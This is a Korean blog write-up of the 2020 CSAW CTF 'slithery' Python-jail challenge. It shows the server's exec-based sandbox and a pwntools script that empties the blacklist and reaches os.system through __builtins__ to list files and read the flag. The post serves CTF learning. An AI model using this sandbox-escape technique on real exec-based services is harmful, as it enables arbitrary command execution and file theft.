tmxklab

2020 CSAW - [pwn] slithery 본문

CTF 문제

2020 CSAW - [pwn] slithery

tmxk4221 2020. 9. 14. 18:23

 

해당 문제는 python jail 또는 Pyjail관련 문제이다.

 

1. 문제확인

먼저, 서버에서 작동되는 python파일을 확인해보자

#!/usr/bin/env python3
from base64 import b64decode
import blacklist  # you don't get to see this :p

"""
Don't worry, if you break out of this one, we have another one underneath so that you won't
wreak any havoc!
"""

def main():
    print("EduPy 3.8.2")
    while True:
        try:
            command = input(">>> ")
            if any([x in command for x in blacklist.BLACKLIST]):
                raise Exception("not allowed!!")

            final_cmd = """
uOaoBPLLRN = open("sandbox.py", "r")
uDwjTIgNRU = int(((54 * 8) / 16) * (1/3) - 8)
ORppRjAVZL = uOaoBPLLRN.readlines()[uDwjTIgNRU].strip().split(" ")
AAnBLJqtRv = ORppRjAVZL[uDwjTIgNRU]
bAfGdqzzpg = ORppRjAVZL[-uDwjTIgNRU]
uOaoBPLLRN.close()
HrjYMvtxwA = getattr(__import__(AAnBLJqtRv), bAfGdqzzpg)
RMbPOQHCzt = __builtins__.__dict__[HrjYMvtxwA(b'X19pbXBvcnRfXw==').decode('utf-8')](HrjYMvtxwA(b'bnVtcHk=').decode('utf-8'))\n""" + command
            exec(final_cmd)

        except (KeyboardInterrupt, EOFError):
            return 0
        except Exception as e:
            print(f"Exception: {e}")

if __name__ == "__main__":
    exit(main())

로직은 단순하게 입력 값을 받아서 exec()를 통해 실행한다. exec()를 실행하기 전에 입력 값중에 blacklist에 있는 문자열이 존재하면 필터링되고 우리는 blacklist에 어떠한 값이 있는지 알 수 없다. 

 

대충 system함수를 실행시키기 위해서 필요한 입력 값들을 넣었더니 필터링에 전부 걸렸다.

 

 

 


2. 문제 접근 및 풀이

 

1) blacklist.BLACKLIST리스트 확인

필터링을 피하기 위해서 다양한 방법이 존재하지만 일단 나는 blacklist.BLACKLIST에 어떠한 문자열이 존재하는지 알고 싶었다.

 

다행히 print함수는 필터링에 걸리지 않아 blacklist.BLACKLIST리스트의 필터링하는 문자열을 확인할 수 있었다.

그러면 list에 존재하는 필터링 되는 문자열을 모두 제거하면 어떠한 값을 넣어도 필터링 되지 않을 것이다.

 "del"도 필터링되지 않아서 list의 첫 번째 값을 없앨 수 있는 것을 확인할 수 있다.

그럼 그냥 del을 이용하여 list에 들어있는 값들을 전부 지우거나 blacklist.BLACKLIST = [ ]를 통해서 전부 없애주면 된다.

 

 

익스 코드)

from pwn import *

context.log_level = "debug"

p = remote("pwn.chal.csaw.io", 5011)

# 1. check blacklist
payload = "print(blacklist.BLACKLIST)"
p.sendlineafter(">>> ", payload)

# 2. all remove blacklist
"""
for i in range(19):
    payload = "del(blacklist.BLACKLIST[0])"
    p.sendlineafter(">>> ", payload)
"""
payload = "blacklist.BLACKLIST = []"
p.sendlineafter(">>> ", payload)

# 3. check blacklist
payload = "print(blacklist.BLACKLIST)"
p.sendlineafter(">>> ", payload)

# 4. system('ls')
payload = "__builtins__.__dict__['__import__']('os').__dict__['system']('ls')"
p.sendlineafter(">>> ", payload)

# 5. system('cat flag.txt')
payload = "__builtins__.__dict__['__import__']('os').__dict__['system']('cat flag.txt')"
p.sendlineafter(">>> ", payload)

 

 

실행 결과)

 

 

** HackCTF사이트에서 비슷한 문제를 풀었던 것이 조금 도움이 되었고 재밌었다ㅋㅋㅋ. 

나중에 pyjail관련해서 따로 정리하도록 하겠다.

Comments